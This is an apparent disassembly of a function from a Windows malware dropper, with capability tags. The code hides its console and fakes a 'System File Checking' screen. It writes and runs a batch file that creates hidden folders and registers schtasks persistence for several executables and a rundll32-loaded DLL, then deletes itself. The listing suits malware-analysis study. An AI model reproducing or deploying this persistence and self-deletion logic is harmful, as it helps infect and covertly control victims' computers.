Function at 0x402560
Capabilities:
Create process on windows
Hide graphical window
Schedule task via schtasks

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x918
mov eax, dword [0x434014]
xor eax, esp
mov dword [esp + 0x914], eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call fcn.004023d0
xor edi, edi
xor esi, esi
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
add esi, 0x33
mov eax, 0x10624dd3
imul esi
add edi, 0x64
mov dword [esp + 0x1c], esi
sar edx, 6
mov eax, 0x10624dd3
mov dword [esp + 0x14], edi
mov edi, edx
shr edi, 0x1f
add edi, edx
imul dword [esp + 0x14]
push 2
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
push 0xfffffffffffffff5
mov dword [esp + 0x20], eax
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
push str.System_File_Checking
push 0x431490
call fcn.004013d0
add esp, 8
test edi, edi
jle 0x402618
mov esi, edi
nop dword [eax + eax]
push 0x7c
push 0x431494
call fcn.004013d0
add esp, 8
sub esi, 1
jne 0x402600
mov esi, dword [esp + 0x1c]
mov eax, 0x34
push 0x5d
sub eax, edi
push eax
push str.__c
call fcn.004013d0
add esp, 0xc
push dword [esp + 0x18]
push str.__3d___r
call fcn.004013d0
add esp, 8
push 8
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov edi, dword [esp + 0x14]
cmp esi, 0xc738
jl 0x402594
push 0x4314c0
call fcn.004013d0
add esp, 4
push str._n_t_tLive_User_t_t_t_t_t
call fcn.004013d0
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
push 0xbb8
call esi
push str.USERNAME
call fcn.0040d2c0
add esp, 4
push eax
call fcn.004013d0
add esp, 4
push str._n_t_tFile_System_Result_t_t_t_t
call fcn.004013d0
add esp, 4
push 0xbb8
call esi
push str._OK_
call fcn.004013d0
add esp, 4
push str._n_n_t_t
call fcn.004013d0
add esp, 4
push str._n_t_tSystem_Result_t_t_t_t_t
call fcn.004013d0
add esp, 4
push 0xbb8
call esi
push str._OK_
call fcn.004013d0
add esp, 4
push str._n_t_t
call fcn.004013d0
add esp, 4
push 0xbb8
call esi
push 0x41eb0
call esi
mov ax, word [0x4318f8]
movups xmm0, xmmword [str.otlu4vxotzkxvjgzky4utrotk]
mov word [esp + 0x90], ax
mov al, byte [0x4318fa]
push 0x4e
mov byte [esp + 0x96], al
lea eax, [esp + 0x97]
movups xmmword [esp + 0x7c], xmm0
push 0
movq xmm0, qword [0x4318f0]
push eax
movq qword [esp + 0x94], xmm0
call fcn.00407da0
lea ecx, [esp + 0x84]
add esp, 0xc
xor edx, edx
lea edi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402760
sub ecx, edi
je 0x402793
nop dword [eax + eax]
add byte [esp + edx + 0x78], 0xfa
lea eax, [esp + 0x78]
inc edx
lea esi, [eax + 1]
nop dword [eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402780
sub eax, esi
cmp edx, eax
jb 0x402770
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0x78]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4027a0
sub ecx, edx
lea eax, [ecx + 1]
push eax
lea eax, [esp + 0x7c]
push eax
lea eax, [esp + 0x438]
push eax
call fcn.0040dad1
add esp, 0xc
push str.USERNAME
call fcn.0040d2c0
add esp, 4
push eax
lea eax, [esp + 0xec]
push str.__s_Xddv21SDsxDl
push eax
call fcn.00401410
lea ecx, [esp + 0xf4]
add esp, 0xc
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4027f0
sub ecx, edx
lea eax, [ecx + 1]
push eax
lea eax, [esp + 0xec]
push eax
lea eax, [esp + 0x360]
push eax
call fcn.0040dad1
add esp, 0xc
lea edx, [esp + 0x358]
lea ecx, [esp + 0x430]
call fcn.004010d0
test eax, eax
jne 0x402839
push str.something_went_wrong___
call fcn.004013d0
add esp, 4
push 0x2710
call esi
mov ecx, 0xa5
lea edi, [esp + 0x508]
mov esi, str.echo_off_n_md__USERPROFILE_TemfileFiles__n_md__USERPROFILE_Temfiledfile__n_attrib_a_h_s__USERPROFILE_Temfile__n__schtasks__delete__tn_Wstrsys__f___n_schtasks__create__sc_minute__mo_10__f__tn_jfile__tr__USERPROFILE_TemfileFilesjavatemp.exe__n___n_schtasks__create__sc_minute__mo_8__f__tn_plaile__tr__USERPROFILE_TemfileFilesplaapas.exe__n__schtasks__create__sc_minute__mo_9__f__tn_pyfile__tr__USERPROFILE_TemfileFilespytemp.exe__n_schtasks__create__sc_minute__mo_30__f__tn_hynos__tr__rundll32.exe__USERPROFILE_Temfilehenos.dll__henosd___n_move__APPDATA__ty67nui8uhyh__USERPROFILE_Temfile__n_ren__USERPROFILE_Temfile_ty67nui8uhyh__henos.dll__n_del__0
rep movsd dword es:[edi], dword [esi]
push str.APPDATA
call fcn.0040d2c0
add esp, 4
push eax
lea eax, [esp + 0x154]
push str._sinitqs.bat
push eax
call fcn.00401410
add esp, 0xc
lea eax, [esp + 0x150]
push 0x43187c
push eax
call fcn.0040d73c
mov esi, eax
lea eax, [esp + 0x510]
push eax
push 0x431880
push esi
call fcn.004039c0
add esp, 0x14
push esi
call fcn.0040d7ca
add esp, 4
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0xa
push 0
push 0
lea eax, [esp + 0x15c]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push str.self_destruction_function_starting......
call fcn.004013d0
add esp, 4
lea eax, [esp + 0x30]
push 0x44
push 0
push eax
call fcn.00407da0
add esp, 0xc
lea eax, [esp + 0x150]
xorps xmm0, xmm0
movaps xmmword [esp + 0x20], xmm0
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0x150]
push eax
push str.cmd.exe__C_Del___s_
lea eax, [esp + 0x510]
push 0x208
push eax
call fcn.00402360
add esp, 0x10
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x34]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [esp + 0x528]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push dword [esp + 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [esp + 0x20]
call esi
mov ecx, dword [esp + 0x91c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.00405f23
mov esp, ebp
pop ebp
ret